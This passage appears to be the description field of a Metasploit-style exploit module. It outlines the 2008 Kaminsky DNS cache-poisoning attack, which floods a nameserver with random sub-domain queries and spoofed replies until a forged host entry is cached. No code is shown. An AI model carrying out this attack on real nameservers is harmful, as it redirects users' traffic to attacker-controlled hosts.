'Description' => %q{ |
This exploit attacks a fairly ubiquitous flaw in DNS implementations which |
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single |
malicious host entry into the target nameserver by sending random sub-domain |
queries to the target DNS server coupled with spoofed replies to those |
queries from the authoritative nameservers for the domain which contain a |
malicious host entry for the hostname to be poisoned in the authority and |
additional records sections. Eventually, a guessed ID will match and the |
spoofed packet will get accepted, and due to the additional hostname entry |
being within baliwick constraints of the original request the malicious host |
entry will get cached. |
